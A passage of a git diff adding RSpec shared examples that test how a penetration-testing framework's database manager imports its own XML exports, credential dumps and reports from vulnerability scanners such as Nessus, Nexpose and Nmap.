mode 100644 index 0000000000..548c52a69f --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/credential.rb @@ -0,0 +1,5 @@ +shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::Credential' do + it { is_expected.to respond_to :import_msf_cred_dump } + it { is_expected.to respond_to :import_msf_cred_dump_zip } + it { is_expected.to respond_to :import_msf_pwdump } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb new file mode 100644 index 0000000000..87a9c48ef0 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb @@ -0,0 +1,1162 @@ +# -*- coding:binary -*- +require 'builder' + +shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do + # Serialized format from pro/modules/auxiliary/pro/report.rb + def serialize(object) + # FIXME https://www.pivotaltracker.com/story/show/46578647 + marshalled = Marshal.dump(object) + base64_encoded = [marshalled].pack('m') + compact = base64_encoded.gsub(/\s+/, '') + + compact + end + + def with_info + db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| + info = specialization.call(element, options) + + yield info + end + + subject + end + + let(:allow_yaml) do + false + end + + let(:document) do + REXML::Document.new(source) + end + + let(:element) do + nil + end + + let(:host_attributes) do + FactoryGirl.attributes_for(:mdm_host) + end + + let(:msf_web_text_element_names) do + [ + 'created-at', + 'host', + 'path', + 'port', + 'query', + 'ssl', + 'updated-at', + 'vhost' + ] + end + + let(:notifier) do + lambda do |event, data| + + end + end + + let(:options) do + { + :allow_yaml => allow_yaml, + :workspace => workspace + } + end + + let(:service_attributes) do + FactoryGirl.attributes_for(:web_service) + end + + let(:web_form_attributes) do + FactoryGirl.attributes_for(:mdm_web_form, :exported) + end + + let(:web_page_attributes) do + FactoryGirl.attributes_for(:mdm_web_page) + end + + let(:workspace) do + nil + end + + let(:xml) do + Builder::XmlMarkup.new(:indent => 2) + end + + it 'should include methods from module so method can be overridden easier in pro' do + db_manager.should be_a Msf::DBManager::Import::MetasploitFramework::XML + end + + context 'CONSTANTS' do + it 'should define MSF_WEB_PAGE_TEXT_ELEMENT_NAMES in any order' do + described_class::MSF_WEB_PAGE_TEXT_ELEMENT_NAMES =~ [ + 'auth', + 'body', + 'code', + 'cookie', + 'ctype', + 'location', + 'mtime' + ] + end + + it 'should define MSF_WEB_TEXT_ELEMENT_NAMES in any order' do + described_class::MSF_WEB_TEXT_ELEMENT_NAMES =~ msf_web_text_element_names + end + + it 'should define MSF_WEB_VULN_TEXT_ELEMENT_NAMES in any order' do + described_class::MSF_WEB_VULN_TEXT_ELEMENT_NAMES =~ [ + 'blame', + 'category', + 'confidence', + 'description', + 'method', + 'name', + 'pname', + 'proof', + 'risk' + ] + end + end + + context '#check_msf_xml_version!' do + let(:root_tag) do + 'root' + end + + let(:source) do + xml.tag!(root_tag) + + xml.target! + end + + subject(:metadata) do + db_manager.send(:check_msf_xml_version!, document) + end + + it_should_behave_like( + 'Msf::DBManager::Import::MetasploitFramework::XML#check_msf_xml_version! with root tag', + 'MetasploitExpressV1', + :allow_yaml => true + ) + + it_should_behave_like( + 'Msf::DBManager::Import::MetasploitFramework::XML#check_msf_xml_version! with root tag', + 'MetasploitExpressV2', + :allow_yaml => true + ) + + it_should_behave_like( + 'Msf::DBManager::Import::MetasploitFramework::XML#check_msf_xml_version! with root tag', + 'MetasploitExpressV3', + :allow_yaml => false + ) + + it_should_behave_like( + 'Msf::DBManager::Import::MetasploitFramework::XML#check_msf_xml_version! with root tag', + 'MetasploitExpressV4', + :allow_yaml => false + ) + + context 'with other' do + it 'should raise Msf::DBImportError' do + expect { + metadata + }.to raise_error( + Msf::DBImportError, + 'Unsupported Metasploit XML document format' + ) + end + end + end + + it { is_expected.to respond_to :import_msf_file } + + context '#import_msf_text_element' do + let(:parent_element) do + document.root + end + + let(:child_name) do + 'child' + end + + let(:child_sym) do + child_name.to_sym + end + + subject(:info) do + db_manager.send(:import_msf_text_element, parent_element, child_name) + end + + context 'with child element' do + let(:source) do + xml.parent do + xml.tag!(child_name, text) + end + + xml.target! + end + + context 'with padded text' do + let(:stripped) do + 'stripped' + end + + let(:text) do + " #{stripped} " + end + + it 'should strip text' do + info[:child].should == stripped + end + end + + context 'with NULL text' do + let(:text) do + 'NULL' + end + + it 'should have nil for child name in info' do + # use have_key to verify info isn't just returning hash default of + # `nil`. + info.should have_key(child_sym) + info[child_sym].should be_nil + end + end + + context 'without NULL text' do + let(:text) do + 'some text' + end + + it 'should have text for child name in info' do + info[child_sym].should == text + end + end + end + + context 'without child element' do + let(:source) do + xml.parent + + xml.target! + end + + it 'should return an empty Hash' do + info.should == {} + end + end + end + + context 'import_msf_web_element' do + let(:element) do + document.root + end + + let(:options) do + {} + end + + let(:specialization) do + lambda { |element, options| + {} + } + end + + subject(:import_msf_web_element) do + db_manager.send( + :import_msf_web_element, + element, + options, + &specialization + ) + end + + context 'with :type' do + let(:source) do + xml.tag!("web_#{type}") do + web_site = web_vuln.web_site + service = web_site.service + + xml.host(service.host.address) + xml.path(web_vuln.path) + xml.port(service.port) + xml.query(web_vuln.query) + + ssl = false + + if service.name == 'https' + ssl = true + end + + xml.ssl(ssl) + + xml.vhost(web_site.vhost) + end + + xml.target! + end + + let(:type) do + :vuln + end + + let(:web_vuln) do + FactoryGirl.create(:mdm_web_vuln) + end + + before(:each) do + db_manager.stub( + :report_web_vuln + ).with( + an_instance_of(Hash) + ) + + options[:type] = type + end + + context 'with :workspace' do + let(:workspace) do + double(':workspace') + end + + before(:each) do + options[:workspace] = workspace + end + + it 'should not call Msf::DBManager#workspace' do + db_manager.should_not_receive(:workspace) + + import_msf_web_element + end + + it 'should pass :workspace to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:workspace => workspace) + ) + + import_msf_web_element + end + end + + context 'without :workspace' do + let(:workspace) do + FactoryGirl.create(:mdm_workspace) + end + + before(:each) do + db_manager.workspace = workspace + end + + it 'should call Msf::DBManager#workspace' do + db_manager.should_receive(:workspace).and_call_original + + import_msf_web_element + end + + it 'should pass Msf::DBManager#workspace to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:workspace => workspace) + ) + + import_msf_web_element + end + end + + it 'should import all elements in MSF_WEB_TEXT_ELEMENT_NAMES with #import_msf_text_element' do + msf_web_text_element_names.each do |name| + db_manager.should_receive( + :import_msf_text_element + ).with( + element, + name + ).and_call_original + end + + import_msf_web_element + end + + context 'with non-empty Hash from #import_msf_text_element' do + let(:returned_hash) do + { + :host => '192.168.0.1' + } + end + + before(:each) do + db_manager.stub(:import_msf_text_element).and_return(returned_hash) + end + + it 'should pass returned Hash as part of Hash passed to report_web_<:type' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(returned_hash) + ) + + import_msf_web_element + end + end + + context 'ssl element' do + context 'without element' do + let(:source) do + xml.tag!("web_#{type}") + + xml.target! + end + + it 'should pass false for :ssl to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:ssl => false) + ) + + import_msf_web_element + end + end + + context 'with element' do + let(:source) do + xml.tag!("web_#{type}") do + xml.ssl(ssl) + end + + xml.target! + end + + context "with 'true' text" do + let(:ssl) do + true + end + + it 'should pass true for :ssl to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:ssl => true) + ) + + import_msf_web_element + end + end + + context "without 'true' text" do + let(:ssl) do + false + end + + it 'should pass false for :ssl to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:ssl => false) + ) + + import_msf_web_element + end + end + end + end + + context 'specialization block' do + let(:returned_hash) do + { + :specialized => double('Value') + } + end + + let(:specialization) do + lambda { |element, option| + returned_hash + } + end + + it 'should be called with element and options' do + actual_args = [] + + db_manager.send( + :import_msf_web_element, + element, + options) do |*args| + actual_args = args + + returned_hash + end + + actual_args.should == [element, options] + end + + it 'should pass return Hash to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(returned_hash) + ) + + import_msf_web_element + end + end + + context 'notifier' do + context 'with :notifier' do + let(:event) do + "web_#{type}".to_sym + end + + let(:notifier) do + lambda do |*args| + successive_args << args + end + end + + let(:successive_args) do + [] + end + + before(:each) do + options[:notifier] = notifier + end + + it 'should call :notifier with event and path' do + import_msf_web_element + + successive_args.length.should == 1 + + args = successive_args[0] + + args.length.should == 2 + args[0].should == event + args[1].should == web_vuln.path + end + end + + context 'without :notifier' do + it 'should not raise an error' do + expect { + import_msf_web_element + }.to_not raise_error + end + end + end + end + + context 'without :type' do + let(:element) do + nil + end + + it 'should raise KeyError' do + expect { + import_msf_web_element + }.to raise_error(KeyError, 'key not found: :type') + end + end + end + + context '#import_msf_web_form_element' do + let(:type) do + :form + end + + subject(:import_msf_web_form_element) do + db_manager.import_msf_web_form_element( + element, + options, + ¬ifier + ) + end + + context 'call to #import_msf_web_element' do + it_should_behave_like 'Msf::DBManager::Import::MetasploitFramework::XML#import_msf_web_element specialization' + + context 'specialization return' do + let(:element) do + document.root + end + + let(:source) do + xml.web_form do + xml.method( + web_form_attributes.fetch(:method) + ) + + serialized_params = serialize( + web_form_attributes.fetch(:params) + ) + xml.params(serialized_params) + end + + xml.target! + end + + it 'should be a Hash' do + with_info do |info| + info.should be_a Hash + end + end + + it 'should include :method' do + with_info do |info| + info[:method].should == web_form_attributes[:method] + end + end + + it 'should include :params' do + with_info do |info| + info[:params].should == web_form_attributes[:params] + end + end + end + end + + context 'with required attributes' do + let(:element) do + document.root + end + + let(:source) do + xml.web_form do + xml.host( + host_attributes.fetch(:address) + ) + xml.method( + web_form_attributes.fetch(:method) + ) + xml.path( + web_form_attributes.fetch(:path) + ) + xml.port( + service_attributes.fetch(:port) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + + xml.target! + end + + it 'should create an Mdm::WebForm' do + expect { + import_msf_web_form_element + }.to change(Mdm::WebForm, :count).by(1) + end + end + end + + context '#import_msf_web_page_element' do + let(:type) do + :page + end + + subject(:import_msf_web_page_element) do + db_manager.import_msf_web_page_element( + element, + options, + ¬ifier + ) + end + + context 'call to #import_msf_web_element' do + it_should_behave_like 'Msf::DBManager::Import::MetasploitFramework::XML#import_msf_web_element specialization' + + context 'specialization return' do + let(:element) do + document.root + end + + let(:source) do + xml.web_page do + xml.auth( + web_page_attributes.fetch(:auth) + ) + xml.body( + web_page_attributes.fetch(:body) + ) + xml.code( + web_page_attributes.fetch(:code) + ) + xml.cookie( + web_page_attributes.fetch(:cookie) + ) + xml.ctype( + web_page_attributes.fetch(:ctype) + ) + + serialized_headers = serialize( + web_page_attributes.fetch(:headers) + ) + xml.headers(serialized_headers) + + xml.location( + web_page_attributes.fetch(:location) + ) + xml.mtime( + web_page_attributes.fetch(:mtime) + ) + end + + xml.target! + end + + it 'should be a Hash' do + db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| + info = specialization.call(element, options) + + info.should be_a Hash + end + + import_msf_web_page_element + end + + it 'should include :auth' do + with_info do |info| + info[:auth].should == web_page_attributes.fetch(:auth) + end + end + + it 'should include :body' do + with_info do |info| + info[:body].should == web_page_attributes.fetch(:body) + end + end + + it 'should include :code' do + with_info do |info| + info[:code].should == web_page_attributes.fetch(:code) + end + end + + it 'should include :cookie' do + with_info do |info| + info[:cookie].should == web_page_attributes.fetch(:cookie) + end + end + + it 'should include :ctype' do + with_info do |info| + info[:ctype].should == web_page_attributes.fetch(:ctype) + end + end + + it 'should include :headers' do + with_info do |info| + info[:headers].should == web_page_attributes.fetch(:headers) + end + end + + it 'should include :location' do + with_info do |info| + info[:location].should == web_page_attributes.fetch(:location) + end + end + + it 'should include :mtime' do + with_info do |info| + info[:mtime].should == web_page_attributes.fetch(:mtime) + end + end + end + end + + context 'with required attributes' do + let(:element) do + document.root + end + + let(:source) do + xml.web_page do + xml.body( + web_page_attributes.fetch(:body) + ) + xml.code( + web_page_attributes.fetch(:code) + ) + + serialized_headers = serialize( + web_page_attributes.fetch(:headers) + ) + xml.headers(serialized_headers) + + xml.host( + host_attributes.fetch(:address) + ) + xml.path( + web_page_attributes.fetch(:headers) + ) + xml.port( + service_attributes.fetch(:port) + ) + xml.query( + web_page_attributes.fetch(:query) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + + xml.target! + end + + it 'should create an Mdm::WebPage' do + expect { + import_msf_web_page_element + }.to change(Mdm::WebPage, :count).by(1) + end + end + end + + context '#import_msf_web_vuln_element' do + let(:type) do + :vuln + end + + let(:web_vuln_attributes) do + FactoryGirl.attributes_for(:exported_web_vuln) + end + + subject(:import_msf_web_vuln_element) do + db_manager.import_msf_web_vuln_element( + element, + options, + ¬ifier + ) + end + + context 'call to #import_msf_web_element' do + it_should_behave_like 'Msf::DBManager::Import::MetasploitFramework::XML#import_msf_web_element specialization' + + context 'specialization return' do + let(:element) do + document.root + end + + let(:source) do + xml.web_vuln do + xml.blame( + web_vuln_attributes.fetch(:blame) + ) + xml.category( + web_vuln_attributes.fetch(:category) + ) + xml.confidence( + web_vuln_attributes.fetch(:confidence) + ) + xml.description( + web_vuln_attributes.fetch(:description) + ) + xml.method( + web_vuln_attributes.fetch(:method) + ) + xml.name( + web_vuln_attributes.fetch(:name) + ) + xml.pname( + web_vuln_attributes.fetch(:pname) + ) + xml.proof( + web_vuln_attributes.fetch(:proof) + ) + xml.risk( + web_vuln_attributes.fetch(:risk) + ) + end + + xml.target! + end + + it 'should be a Hash' do + with_info do |info| + info.should be_a Hash + end + + import_msf_web_vuln_element + end + + it 'should include :blame' do + with_info do |info| + info[:blame].should == web_vuln_attributes.fetch(:blame) + end + end + + it 'should include :category' do + with_info do |info| + info[:category].should == web_vuln_attributes.fetch(:category) + end + end + + it 'should include :confidence' do + with_info do |info| + info[:confidence].should == web_vuln_attributes.fetch(:confidence) + end + end + + it 'should include :description' do + with_info do |info| + info[:description].should == web_vuln_attributes.fetch(:description) + end + end + + it 'should include :method' do + with_info do |info| + info[:method].should == web_vuln_attributes.fetch(:method) + end + end + + it 'should include :name' do + with_info do |info| + info[:name].should == web_vuln_attributes.fetch(:name) + end + end + + it 'should include :pname' do + with_info do |info| + info[:pname].should == web_vuln_attributes.fetch(:pname) + end + end + + it 'should include :proof' do + with_info do |info| + info[:proof].should == web_vuln_attributes.fetch(:proof) + end + end + + it 'should include :risk' do + with_info do |info| + info[:risk].should == web_vuln_attributes.fetch(:risk) + end + end + end + end + + context 'with required attributes' do + let(:element) do + document.root + end + + let(:source) do + xml.web_vuln do + xml.category( + web_vuln_attributes.fetch(:category) + ) + xml.host( + host_attributes.fetch(:address) + ) + xml.method( + web_vuln_attributes.fetch(:method) + ) + xml.name( + web_vuln_attributes.fetch(:name) + ) + + serialized_params = serialize( + web_vuln_attributes.fetch(:params) + ) + xml.params(serialized_params) + + xml.path( + web_vuln_attributes.fetch(:path) + ) + xml.pname( + web_vuln_attributes.fetch(:pname) + ) + xml.port( + service_attributes.fetch(:port) + ) + xml.proof( + web_vuln_attributes.fetch(:proof) + ) + xml.risk( + web_vuln_attributes.fetch(:risk) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + + xml.target! + end + + it 'should create an Mdm::WebVuln' do + expect { + import_msf_web_vuln_element + }.to change(Mdm::WebVuln, :count).by(1) + end + end + end + + context '#import_msf_xml' do + let(:data) do + '<MetasploitV4/>' + end + + subject(:import_msf_xml) do + db_manager.import_msf_xml(:data => data) + end + + it 'should call #check_msf_xml_version!' do + db_manager.should_receive(:check_msf_xml_version!).and_call_original + + import_msf_xml + end + + context 'with web_forms/web_form elements' do + let(:data) do + xml.tag!('MetasploitV4') do + xml.web_forms do + xml.web_form do + xml.host( + host_attributes.fetch(:address) + ) + xml.method( + web_form_attributes.fetch(:method) + ) + xml.path( + web_form_attributes.fetch(:path) + ) + xml.port( + service_attributes.fetch(:port) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + end + end + + xml.target! + end + + it 'should call #import_msf_web_form_element' do + db_manager.should_receive(:import_msf_web_form_element).and_call_original + + import_msf_xml + end + end + + context 'with web_pages/web_page elements' do + let(:data) do + xml.tag!('MetasploitV4') do + xml.web_pages do + xml.web_page do + xml.body( + web_page_attributes.fetch(:body) + ) + xml.code( + web_page_attributes.fetch(:code) + ) + + serialized_headers = serialize( + web_page_attributes.fetch(:headers) + ) + xml.headers(serialized_headers) + + xml.host( + host_attributes.fetch(:address) + ) + xml.path( + web_page_attributes.fetch(:headers) + ) + xml.port( + service_attributes.fetch(:port) + ) + xml.query( + web_page_attributes.fetch(:query) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + end + end + + xml.target! + end + + it 'should call #import_msf_web_page_element' do + db_manager.should_receive(:import_msf_web_page_element).and_call_original + + import_msf_xml + end + end + + context 'with web_vulns/web_vuln elements' do + let(:data) do + xml.tag!('MetasploitV4') do + xml.web_vulns do + xml.web_vuln do + xml.category(web_vuln.category) + + service = web_vuln.web_site.service + xml.host(service.host.address) + + xml.method(web_vuln.method) + xml.name(web_vuln.name) + + serialized_params = serialize(web_vuln.params) + xml.params(serialized_params) + + xml.path(web_vuln.path) + xml.pname(web_vuln.pname) + xml.port(service.port) + xml.proof(web_vuln.proof) + + ssl = false + + if service.name == 'https' + ssl = true + end + + xml.ssl(ssl) + end + end + end + + xml.target! + end + + let(:web_vuln) do + FactoryGirl.create(:mdm_web_vuln) + end + + it 'should call #import_msf_web_vuln_element' do + db_manager.should_receive(:import_msf_web_vuln_element).and_call_original + + import_msf_xml + end + end + end +end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/check_msf_xml_version_with_root_tag.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/check_msf_xml_version_with_root_tag.rb new file mode 100644 index 0000000000..a467eb75ec --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/check_msf_xml_version_with_root_tag.rb @@ -0,0 +1,25 @@ +# -*- coding:binary -*- +shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML#check_msf_xml_version! with root tag' do |root_tag, options={}| + options.assert_valid_keys(:allow_yaml) + allow_yaml = options.fetch(:allow_yaml) + + context "with #{root_tag}" do + let(:root_tag) do + root_tag + end + + should_label_by_allow_yaml = { + true => 'should', + false => 'should not' + } + should_label = should_label_by_allow_yaml[allow_yaml] + + it "#{should_label} allow YAML" do + expect(metadata[:allow_yaml]).to eq(allow_yaml) + end + + it "should have #{root_tag} as root tag" do + metadata[:root_tag].should == root_tag + end + end +end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/import_msf_web_element_specialization.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/import_msf_web_element_specialization.rb new file mode 100644 index 0000000000..711d92f075 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/import_msf_web_element_specialization.rb @@ -0,0 +1,42 @@ +# -*- coding:binary -*- +shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML#import_msf_web_element specialization' do + it 'should call #import_msf_web_element with element' do + db_manager.should_receive(:import_msf_web_element).with(element, anything) + + subject + end + + it 'should call #import_msf_web_element with :allow_yaml and :workspace' do + db_manager.should_receive(:import_msf_web_element).with( + anything, + hash_including( + :allow_yaml => allow_yaml, + :workspace => workspace + ) + ) + + subject + end + + it 'should call #import_msf_web_element with :type' do + db_manager.should_receive(:import_msf_web_element).with( + anything, + hash_including( + :type => type + ) + ) + + subject + end + + it 'should pass block to #import_msf_web_element as :notifier' do + db_manager.should_receive( + :import_msf_web_element + ).with( + anything, + hash_including(:notifier => notifier) + ) + + subject + end +end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/zip.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/zip.rb new file mode 100644 index 0000000000..b65791ede7 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/zip.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::Zip' do + it { is_expected.to respond_to :import_msf_collateral } + it { is_expected.to respond_to :import_msf_zip } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/nessus.rb b/spec/support/shared/examples/msf/db_manager/import/nessus.rb new file mode 100644 index 0000000000..c7f8ec76a0 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nessus.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Nessus' do + it_should_behave_like 'Msf::DBManager::Import::Nessus::NBE' + it_should_behave_like 'Msf::DBManager::Import::Nessus::XML' +end diff --git a/spec/support/shared/examples/msf/db_manager/import/nessus/nbe.rb b/spec/support/shared/examples/msf/db_manager/import/nessus/nbe.rb new file mode 100644 index 0000000000..1925c90f09 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nessus/nbe.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Nessus::NBE' do + it { is_expected.to respond_to :import_nessus_nbe } + it { is_expected.to respond_to :import_nessus_nbe_file } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/nessus/xml.rb b/spec/support/shared/examples/msf/db_manager/import/nessus/xml.rb new file mode 100644 index 0000000000..4e6fb60f18 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nessus/xml.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::DBManager::Import::Nessus::XML' do + it { is_expected.to respond_to :import_nessus_xml_file } + + it_should_behave_like 'Msf::DBManager::Import::Nessus::XML::V1' + it_should_behave_like 'Msf::DBManager::Import::Nessus::XML::V2' +end diff --git a/spec/support/shared/examples/msf/db_manager/import/nessus/xml/v1.rb b/spec/support/shared/examples/msf/db_manager/import/nessus/xml/v1.rb new file mode 100644 index 0000000000..fbfab82045 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nessus/xml/v1.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::Import::Nessus::XML::V1' do + it { is_expected.to respond_to :import_nessus_xml } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import/nessus/xml/v2.rb b/spec/support/shared/examples/msf/db_manager/import/nessus/xml/v2.rb new file mode 100644 index 0000000000..2da2bfe147 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nessus/xml/v2.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::Import::Nessus::XML::V2' do + it { is_expected.to respond_to :import_nessus_xml_v2 } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import/netsparker.rb b/spec/support/shared/examples/msf/db_manager/import/netsparker.rb new file mode 100644 index 0000000000..2de91b7eb8 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/netsparker.rb @@ -0,0 +1,8 @@ +shared_examples_for 'Msf::DBManager::Import::Netsparker' do + it { is_expected.to respond_to :import_netsparker_xml } + it { is_expected.to respond_to :import_netsparker_xml_file } + it { is_expected.to respond_to :netsparker_method_map } + it { is_expected.to respond_to :netsparker_params_map } + it { is_expected.to respond_to :netsparker_pname_map } + it { is_expected.to respond_to :netsparker_vulnerability_map } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import/nexpose.rb b/spec/support/shared/examples/msf/db_manager/import/nexpose.rb new file mode 100644 index 0000000000..8a0bb57bf1 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nexpose.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Nexpose' do + it_should_behave_like 'Msf::DBManager::Import::Nexpose::Raw' + it_should_behave_like 'Msf::DBManager::Import::Nexpose::Simple' +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import/nexpose/raw.rb b/spec/support/shared/examples/msf/db_manager/import/nexpose/raw.rb new file mode 100644 index 0000000000..f63f71c855 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nexpose/raw.rb @@ -0,0 +1,7 @@ +shared_examples_for 'Msf::DBManager::Import::Nexpose::Raw' do + it { is_expected.to respond_to :import_nexpose_raw_noko_stream } + it { is_expected.to respond_to :import_nexpose_rawxml } + it { is_expected.to respond_to :import_nexpose_rawxml_file } + it { is_expected.to respond_to :nexpose_host_from_rawxml } + it { is_expected.to respond_to :nexpose_refs_to_struct } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/nexpose/simple.rb b/spec/support/shared/examples/msf/db_manager/import/nexpose/simple.rb new file mode 100644 index 0000000000..999be87806 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nexpose/simple.rb @@ -0,0 +1,5 @@ +shared_examples_for 'Msf::DBManager::Import::Nexpose::Simple' do + it { is_expected.to respond_to :import_nexpose_noko_stream } + it { is_expected.to respond_to :import_nexpose_simplexml } + it { is_expected.to respond_to :import_nexpose_simplexml_file } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/nikto.rb b/spec/support/shared/examples/msf/db_manager/import/nikto.rb new file mode 100644 index 0000000000..50b10ae646 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nikto.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::Import::Nikto' do + it { is_expected.to respond_to :import_nikto_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/nmap.rb b/spec/support/shared/examples/msf/db_manager/import/nmap.rb new file mode 100644 index 0000000000..52354a196a --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/nmap.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::DBManager::Import::Nmap' do + it { is_expected.to respond_to :import_nmap_noko_stream } + it { is_expected.to respond_to :import_nmap_xml } + it { is_expected.to respond_to :import_nmap_xml_file } + it { is_expected.to respond_to :nmap_msf_service_map } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/open_vas.rb b/spec/support/shared/examples/msf/db_manager/import/open_vas.rb new file mode 100644 index 0000000000..9ffc75d42f --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/open_vas.rb @@ -0,0 +1,5 @@ +shared_examples_for 'Msf::DBManager::Import::OpenVAS' do + it { is_expected.to respond_to :import_openvas_new_xml } + it { is_expected.to respond_to :import_openvas_new_xml_file } + it { is_expected.to respond_to :import_openvas_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/outpost24.rb b/spec/support/shared/examples/msf/db_manager/import/outpost24.rb new file mode 100644 index 0000000000..5de0d6cad1 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/outpost24.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Outpost24' do + it { is_expected.to respond_to :import_outpost24_noko_stream } + it { is_expected.to respond_to :import_outpost24_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/qualys.rb b/spec/support/shared/examples/msf/db_manager/import/qualys.rb new file mode 100644 index 0000000000..769ec73849 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/qualys.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Qualys' do + it_should_behave_like 'Msf::DBManager::Import::Qualys::Asset' + it_should_behave_like 'Msf::DBManager::Import::Qualys::Scan' +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import/qualys/asset.rb b/spec/support/shared/examples/msf/db_manager/import/qualys/asset.rb new file mode 100644 index 0000000000..f5aace0ae5 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/qualys/asset.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::DBManager::Import::Qualys::Asset' do + it { is_expected.to respond_to :find_qualys_asset_ports } + it { is_expected.to respond_to :find_qualys_asset_vuln_refs } + it { is_expected.to respond_to :find_qualys_asset_vulns } + it { is_expected.to respond_to :import_qualys_asset_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/qualys/scan.rb b/spec/support/shared/examples/msf/db_manager/import/qualys/scan.rb new file mode 100644 index 0000000000..f9806349ed --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/qualys/scan.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Qualys::Scan' do + it { is_expected.to respond_to :import_qualys_scan_xml } + it { is_expected.to respond_to :import_qualys_scan_xml_file } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/report.rb b/spec/support/shared/examples/msf/db_manager/import/report.rb new file mode 100644 index 0000000000..e099194576 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/report.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::Import::Report' do + it { is_expected.to respond_to :import_report } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/retina.rb b/spec/support/shared/examples/msf/db_manager/import/retina.rb new file mode 100644 index 0000000000..d96778393c --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/retina.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Retina' do + it { is_expected.to respond_to :import_retina_xml } + it { is_expected.to respond_to :import_retina_xml_file } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/spiceworks.rb b/spec/support/shared/examples/msf/db_manager/import/spiceworks.rb new file mode 100644 index 0000000000..08e653a47b --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/spiceworks.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::Import::Spiceworks' do + it { is_expected.to respond_to :import_spiceworks_csv } +end diff --git 